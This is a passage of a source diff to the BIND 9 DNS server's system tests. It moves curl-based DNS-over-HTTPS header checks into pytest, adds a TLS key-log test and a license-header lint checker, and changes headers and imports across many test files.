bind9-9.20.30/bin/tests/system/doth/stress_http_quota.py --- bind9-9.20.29/bin/tests/system/doth/stress_http_quota.py 2026-09-11 19:41:01.195323659 +0000 +++ bind9-9.20.30/bin/tests/system/doth/stress_http_quota.py 2026-10-12 13:12:08.093893198 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/env python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/doth/tests.sh bind9-9.20.30/bin/tests/system/doth/tests.sh --- bind9-9.20.29/bin/tests/system/doth/tests.sh 2026-09-11 19:41:01.195323659 +0000 +++ bind9-9.20.30/bin/tests/system/doth/tests.sh 2026-10-12 13:12:08.093893198 +0000 @@ -843,39 +843,6 @@ if [ $ret != 0 ]; then echo_i "failed"; fi status=$((status + ret)) -# check whether we can use curl for sending test queries. -if [ -x "${CURL}" ]; then - CURL_HTTP2="$(${CURL} --version | grep -E '^Features:.* HTTP2( |$)' || true)" - - if [ -n "$CURL_HTTP2" ]; then - testcurl=1 - else - echo_i "The available version of CURL does not have HTTP/2 support" - fi -fi - -# Note: see README.curl for information on how to generate curl -# queries. -if [ -n "$testcurl" ]; then - n=$((n + 1)) - echo_i "checking max-age for positive answer ($n)" - ret=0 - # use curl to query for 'example/SOA' - $CURL -kD headers.$n "https://10.53.0.1:${HTTPSPORT}/dns-query?dns=AAEAAAABAAAAAAAAB2V4YW1wbGUAAAYAAQ" >/dev/null 2>&1 || ret=1 - grep "cache-control: max-age=86400" headers.$n >/dev/null || ret=1 - if [ $ret != 0 ]; then echo_i "failed"; fi - status=$((status + ret)) - - n=$((n + 1)) - echo_i "checking max-age for negative answer ($n)" - ret=0 - # use curl to query for 'fake.example/TXT' - $CURL -kD headers.$n "https://10.53.0.1:${HTTPSPORT}/dns-query?dns=AAEAAAABAAAAAAAABGZha2UHZXhhbXBsZQAAEAAB" >/dev/null 2>&1 || ret=1 - grep "cache-control: max-age=3600" headers.$n >/dev/null || ret=1 - if [ $ret != 0 ]; then echo_i "failed"; fi - status=$((status + ret)) -fi - n=$((n + 1)) echo_i "checking Do53 query to NS5 for zone \"example12\" (verifying successful client TLS context reuse by the NS5 server instance during XoT) ($n)" ret=0 @@ -917,5 +884,15 @@ if test $ret != 0; then echo_i "failed"; fi status=$((status + ret)) +n=$((n + 1)) +echo_i "tests if SSL Key negotiation logging worked ($n)" +ret=0 +if test -s ns1/named.sslkeylogfile; then + grep SERVER_HANDSHAKE_TRAFFIC_SECRET ns1/named.sslkeylogfile >/dev/null || ret=1 + grep CLIENT_HANDSHAKE_TRAFFIC_SECRET ns1/named.sslkeylogfile >/dev/null || ret=1 +else + ret=1 +fi + echo_i "exit status: $status" [ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.29/bin/tests/system/doth/tests_cache_control.py bind9-9.20.30/bin/tests/system/doth/tests_cache_control.py --- bind9-9.20.29/bin/tests/system/doth/tests_cache_control.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/doth/tests_cache_control.py 2026-10-12 13:12:08.093893198 +0000 @@ -0,0 +1,48 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import base64 + +import dns.message + +import isctest +import isctest.mark + +pytestmark = [ + isctest.mark.with_curl, + isctest.mark.with_libnghttp2, + isctest.mark.with_fips_dh, +] + + +def doh_get_headers(ip, port, qname, qtype): + """ + Send a DoH GET request (RFC 8484 "dns" query parameter) with curl + and return the HTTP response headers. + """ + query = dns.message.make_query(qname, qtype, id=0) + dns_param = base64.urlsafe_b64encode(query.to_wire()).rstrip(b"=").decode() + curl = isctest.run.EnvCmd( + "CURL", "--silent --show-error --insecure --dump-header - --output /dev/null" + ) + return curl(f"https://{ip}:{port}/dns-query?dns={dns_param}").out + + +def test_max_age_positive_answer(ns1, named_httpsport): + headers = doh_get_headers(ns1.ip, named_httpsport, "example.", "SOA") + assert "HTTP/2 200" in headers + assert "cache-control: max-age=86400" in headers + + +def test_max_age_negative_answer(ns1, named_httpsport): + headers = doh_get_headers(ns1.ip, named_httpsport, "fake.example.", "TXT") + assert "HTTP/2 200" in headers + assert "cache-control: max-age=3600" in headers diff -Nru bind9-9.20.29/bin/tests/system/doth/tests_gnutls.py bind9-9.20.30/bin/tests/system/doth/tests_gnutls.py --- bind9-9.20.29/bin/tests/system/doth/tests_gnutls.py 2026-09-11 19:41:01.196323683 +0000 +++ bind9-9.20.30/bin/tests/system/doth/tests_gnutls.py 2026-10-12 13:12:08.093893198 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -30,6 +28,7 @@ [ "gnutls-cli.*", "ns*/example*.db", + "ns1/named.sslkeylogfile", ] ) diff -Nru bind9-9.20.29/bin/tests/system/doth/tests_malicious.py bind9-9.20.30/bin/tests/system/doth/tests_malicious.py --- bind9-9.20.29/bin/tests/system/doth/tests_malicious.py 2026-09-11 19:41:01.196323683 +0000 +++ bind9-9.20.30/bin/tests/system/doth/tests_malicious.py 2026-10-12 13:12:08.093893198 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/doth/tests_sh_doth.py bind9-9.20.30/bin/tests/system/doth/tests_sh_doth.py --- bind9-9.20.29/bin/tests/system/doth/tests_sh_doth.py 2026-09-11 19:41:01.196323683 +0000 +++ bind9-9.20.30/bin/tests/system/doth/tests_sh_doth.py 2026-10-12 13:12:08.093893198 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -16,8 +16,8 @@ EXTRA_ARTIFACTS = pytest.mark.extra_artifacts( [ "dig.out.*", - "headers.*", "ns*/example*.db", + "ns1/named.sslkeylogfile", ] ) diff -Nru bind9-9.20.29/bin/tests/system/doth/tests_sslyze.py bind9-9.20.30/bin/tests/system/doth/tests_sslyze.py --- bind9-9.20.29/bin/tests/system/doth/tests_sslyze.py 2026-09-11 19:41:01.196323683 +0000 +++ bind9-9.20.30/bin/tests/system/doth/tests_sslyze.py 2026-10-12 13:12:08.093893198 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -24,6 +22,7 @@ [ "sslyze.log.*", "ns*/example*.db", + "ns1/named.sslkeylogfile", ] ) diff -Nru bind9-9.20.29/bin/tests/system/dsdigest/tests_dsdigest.py bind9-9.20.30/bin/tests/system/dsdigest/tests_dsdigest.py --- bind9-9.20.29/bin/tests/system/dsdigest/tests_dsdigest.py 2026-09-11 19:41:01.197323708 +0000 +++ bind9-9.20.30/bin/tests/system/dsdigest/tests_dsdigest.py 2026-10-12 13:12:08.094893219 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -29,7 +29,9 @@ def test_dsdigest_good(): - """Check that validation with enabled digest types works""" + """ + Check that validation with enabled digest types works + """ msg = isctest.query.create("a.good.", "A") res = isctest.query.tcp( msg, @@ -40,8 +42,10 @@ def test_dsdigest_bad(): - """Check that validation with not supported digest types - and "dnssec-must-be-secure yes;" results in SERVFAIL""" + """ + Check that validation with not supported digest types + and "dnssec-must-be-secure yes;" results in SERVFAIL + """ msg = dns.message.make_query("a.bad.", "A", want_dnssec=True) res = isctest.query.tcp( msg, @@ -51,7 +55,9 @@ def test_dsdigest_insecure(): - """Check that validation with not supported digest algorithms is insecure""" + """ + Check that validation with not supported digest algorithms is insecure + """ msg_ds = isctest.query.create("bad.", "DS") res_ds = isctest.query.tcp( msg_ds, diff -Nru bind9-9.20.29/bin/tests/system/dyndb/tests.sh bind9-9.20.30/bin/tests/system/dyndb/tests.sh --- bind9-9.20.29/bin/tests/system/dyndb/tests.sh 2026-09-11 19:41:01.199323756 +0000 +++ bind9-9.20.30/bin/tests/system/dyndb/tests.sh 2026-10-12 13:12:08.096893262 +0000 @@ -60,7 +60,7 @@ echo $out >added.ptr.out.$n lines=$(echo "$out" | grep "$host" | wc -l) [ $lines -eq 1 ] && break - $PERL -e 'select(undef, undef, undef, 0.1);' + $PYTHON -c 'import time; time.sleep(0.1)' done [ $lines -eq 1 ] || { [ "$should_fail" ] \ @@ -104,7 +104,7 @@ echo $out >deleted.ptr.out.$n lines=$(echo "$out" | grep "$host" | wc -l) [ $lines -eq 0 ] && break - $PERL -e 'select(undef, undef, undef, 0.1);' + $PYTHON -c 'import time; time.sleep(0.1)' done [ $lines -eq 0 ] || { [ "$should_fail" ] \ diff -Nru bind9-9.20.29/bin/tests/system/dyndb/tests_sh_dyndb.py bind9-9.20.30/bin/tests/system/dyndb/tests_sh_dyndb.py --- bind9-9.20.29/bin/tests/system/dyndb/tests_sh_dyndb.py 2026-09-11 19:41:01.199323756 +0000 +++ bind9-9.20.30/bin/tests/system/dyndb/tests_sh_dyndb.py 2026-10-12 13:12:08.096893262 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/ecdsa/tests_ecdsa.py bind9-9.20.30/bin/tests/system/ecdsa/tests_ecdsa.py --- bind9-9.20.29/bin/tests/system/ecdsa/tests_ecdsa.py 2026-09-11 19:41:01.199323756 +0000 +++ bind9-9.20.30/bin/tests/system/ecdsa/tests_ecdsa.py 2026-10-12 13:12:08.097893283 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/eddsa/tests_sh_eddsa.py bind9-9.20.30/bin/tests/system/eddsa/tests_sh_eddsa.py --- bind9-9.20.29/bin/tests/system/eddsa/tests_sh_eddsa.py 2026-09-11 19:41:01.201323804 +0000 +++ bind9-9.20.30/bin/tests/system/eddsa/tests_sh_eddsa.py 2026-10-12 13:12:08.099893326 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py bind9-9.20.30/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py --- bind9-9.20.29/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py 2026-09-11 19:41:01.201323804 +0000 +++ bind9-9.20.30/bin/tests/system/ednscompliance/tests_sh_ednscompliance.py 2026-10-12 13:12:08.099893326 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/emptyzones/tests_emptyzones.py bind9-9.20.30/bin/tests/system/emptyzones/tests_emptyzones.py --- bind9-9.20.29/bin/tests/system/emptyzones/tests_emptyzones.py 2026-09-11 19:41:01.202323828 +0000 +++ bind9-9.20.30/bin/tests/system/emptyzones/tests_emptyzones.py 2026-10-12 13:12:08.099893326 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py bind9-9.20.30/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py --- bind9-9.20.29/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py 2026-09-11 19:41:01.203323852 +0000 +++ bind9-9.20.30/bin/tests/system/enginepkcs11/tests_sh_enginepkcs11.py 2026-10-12 13:12:08.100893347 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/expiredglue/tests_expiredglue.py bind9-9.20.30/bin/tests/system/expiredglue/tests_expiredglue.py --- bind9-9.20.29/bin/tests/system/expiredglue/tests_expiredglue.py 2026-09-11 19:41:01.204323877 +0000 +++ bind9-9.20.30/bin/tests/system/expiredglue/tests_expiredglue.py 2026-10-12 13:12:08.101893369 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/fetchlimit/ans4/ans.py bind9-9.20.30/bin/tests/system/fetchlimit/ans4/ans.py --- bind9-9.20.29/bin/tests/system/fetchlimit/ans4/ans.py 2026-09-11 19:41:01.204323877 +0000 +++ bind9-9.20.30/bin/tests/system/fetchlimit/ans4/ans.py 2026-10-12 13:12:08.102893390 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -19,11 +17,11 @@ from isctest.asyncserver import ( ControllableAsyncDnsServer, - DnsResponseSend, QueryContext, ResponseHandler, - ToggleResponsesCommand, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.commands import ToggleResponsesCommand class MaybeDelayedAddressAnswerHandler(ResponseHandler): diff -Nru bind9-9.20.29/bin/tests/system/fetchlimit/tests.sh bind9-9.20.30/bin/tests/system/fetchlimit/tests.sh --- bind9-9.20.29/bin/tests/system/fetchlimit/tests.sh 2026-09-11 19:41:01.205323901 +0000 +++ bind9-9.20.30/bin/tests/system/fetchlimit/tests.sh 2026-10-12 13:12:08.103893411 +0000 @@ -46,7 +46,7 @@ echo "${num}${2}${3}.lamesub.example A" >>burst.input.$$ fi done - $PERL ../ditch.pl -p ${PORT} -s ${server} -b ${EXTRAPORT8} burst.input.$$ + $PYTHON -m isctest.tools.ditch -p ${PORT} -s ${server} -b ${EXTRAPORT8} burst.input.$$ rm -f burst.input.$$ } diff -Nru bind9-9.20.29/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py bind9-9.20.30/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py --- bind9-9.20.29/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py 2026-09-11 19:41:01.205323901 +0000 +++ bind9-9.20.30/bin/tests/system/fetchlimit/tests_sh_fetchlimit.py 2026-10-12 13:12:08.103893411 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -11,24 +11,16 @@ import pytest -import isctest.mark - -EXTRA_ARTIFACTS = pytest.mark.extra_artifacts( +pytestmark = pytest.mark.extra_artifacts( [ "dig.out.*", "wait_for_message.*", - "ans*/ans.run", "ns3/named.stats", "ns3/named.stats.prev", "ns5/named.stats", ] ) -pytestmark = [ - isctest.mark.requires_net_dns, - EXTRA_ARTIFACTS, -] - @pytest.mark.flaky(max_runs=3) def test_fetchlimit(run_tests_sh): diff -Nru bind9-9.20.29/bin/tests/system/file_header_checker.py bind9-9.20.30/bin/tests/system/file_header_checker.py --- bind9-9.20.29/bin/tests/system/file_header_checker.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/file_header_checker.py 2026-10-12 13:12:08.103893411 +0000 @@ -0,0 +1,85 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import os +import stat + +from astroid import nodes +from pylint.checkers import BaseRawFileChecker +from pylint.lint import PyLinter + +# The same text as in the C sources, as a block of comments so that a module +# docstring can follow it. The markers keep reuse from reading the quoted +# SPDX line as a second, malformed license tag of this file. +# REUSE-IgnoreStart +LICENSE_HEADER = [ + '# Copyright (C) Internet Systems Consortium, Inc. ("ISC")', + "#", + "# SPDX-License-Identifier: MPL-2.0", + "#", + "# This Source Code Form is subject to the terms of the Mozilla Public", + "# License, v. 2.0. If a copy of the MPL was not distributed with this", + "# file, you can obtain one at https://mozilla.org/MPL/2.0/.", + "#", + "# See the COPYRIGHT file distributed with this work for additional", + "# information regarding copyright ownership.", +] +# REUSE-IgnoreEnd + + +class FileHeaderChecker(BaseRawFileChecker): + """ + Require every module to start with the license header above, followed by + an empty line, and to not be executable. + + The CI and the test runners have to control which Python interpreter runs + a script, so every script is started through an explicit interpreter + ($PYTHON, python -m, pytest) rather than by itself. An executable bit and + the shebang it calls for would only offer a second way to run the script, + with whatever python is first in PATH. + """ + + name = "file-header" + msgs = { + "C9005": ( + "License header missing or not in the canonical form", + "license-header", + "Emitted when a module does not start with the ISC license header " + "as a block of comments; a shebang line is not allowed either, since " + "scripts are always run through an explicitly chosen interpreter.", + ), + "C9006": ( + "Python file must not be executable", + "executable-python-file", + "Emitted when a Python file has an executable bit set. Scripts are " + "run through an interpreter chosen by the caller (the CI, the test " + "runner), never by themselves, so the bit only offers a way to run " + "them with whatever python comes first in PATH.", + ), + } + options = () + + def process_module(self, node: nodes.Module) -> None: + with node.stream() as stream: + lines = [ + line.decode("utf-8", errors="replace").rstrip("\r\n") for line in stream + ] + + end = len(LICENSE_HEADER) + if lines[:end] != LICENSE_HEADER or (len(lines) > end and lines[end] != ""): + self.add_message("license-header", line=1) + + if node.file and stat.S_IMODE(os.stat(node.file).st_mode) & 0o111: + self.add_message("executable-python-file", line=1) + + +def register(linter: PyLinter) -> None: + linter.register_checker(FileHeaderChecker(linter)) diff -Nru bind9-9.20.29/bin/tests/system/filters/ans6/ans.py bind9-9.20.30/bin/tests/system/filters/ans6/ans.py --- bind9-9.20.29/bin/tests/system/filters/ans6/ans.py 2026-09-11 19:41:01.205323901 +0000 +++ bind9-9.20.30/bin/tests/system/filters/ans6/ans.py 2026-10-12 13:12:08.103893411 +0000 @@ -1,27 +1,22 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode import dns.rdataclass import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - QnameQtypeHandler, - QueryContext, - StaticResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Once, Qname, Qtype DNS64_TRIGGER = "nodata.test." @@ -42,37 +37,24 @@ return rrset(DNS64_TRIGGER, dns.rdatatype.AAAA, "2001:db8::1") -class NodataOnceHandler(QnameQtypeHandler, StaticResponseHandler): +class NodataOnceHandler(StaticResponseHandler): """ Answer only the first AAAA query, with NODATA, so the DNS64 resolver looks up an A record; the delayed A lookup lets filter-a re-enter and re-query AAAA (answered by AaaaHandler), triggering the bug. """ - qnames = [DNS64_TRIGGER] - qtypes = [dns.rdatatype.AAAA] + matcher = Once(Qname(DNS64_TRIGGER) & Qtype(dns.rdatatype.AAAA)) authority = [soa()] - def __init__(self) -> None: - super().__init__() - self._answered = False - - def match(self, qctx: QueryContext) -> bool: - if self._answered: - return False - self._answered = True - return super().match(qctx) - -class AaaaHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = [DNS64_TRIGGER] - qtypes = [dns.rdatatype.AAAA] +class AaaaHandler(StaticResponseHandler): + matcher = Qname(DNS64_TRIGGER) & Qtype(dns.rdatatype.AAAA) answer = [aaaa()] -class DelayedAHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = [DNS64_TRIGGER] - qtypes = [dns.rdatatype.A] +class DelayedAHandler(StaticResponseHandler): + matcher = Qname(DNS64_TRIGGER) & Qtype(dns.rdatatype.A) answer = [a()] delay = 2.0 diff -Nru bind9-9.20.29/bin/tests/system/filters/common.py bind9-9.20.30/bin/tests/system/filters/common.py --- bind9-9.20.29/bin/tests/system/filters/common.py 2026-09-11 19:41:01.206323925 +0000 +++ bind9-9.20.30/bin/tests/system/filters/common.py 2026-10-12 13:12:08.103893411 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -22,7 +22,6 @@ "ns*/K*", "ns*/dsset-*", "ns*/signer.err", - "ans*/ans.run", ] diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_a_dns64.py bind9-9.20.30/bin/tests/system/filters/tests_filter_a_dns64.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_a_dns64.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_a_dns64.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_a_v4.py bind9-9.20.30/bin/tests/system/filters/tests_filter_a_v4.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_a_v4.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_a_v4.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_a_v6.py bind9-9.20.30/bin/tests/system/filters/tests_filter_a_v6.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_a_v6.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_a_v6.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_aaaa_dns64.py bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_dns64.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_aaaa_dns64.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_dns64.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_aaaa_v4.py bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_v4.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_aaaa_v4.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_v4.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_aaaa_v6.py bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_v6.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_aaaa_v6.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_aaaa_v6.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/filters/tests_filter_checkconf.py bind9-9.20.30/bin/tests/system/filters/tests_filter_checkconf.py --- bind9-9.20.29/bin/tests/system/filters/tests_filter_checkconf.py 2026-09-11 19:41:01.208323973 +0000 +++ bind9-9.20.30/bin/tests/system/filters/tests_filter_checkconf.py 2026-10-12 13:12:08.106893476 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla 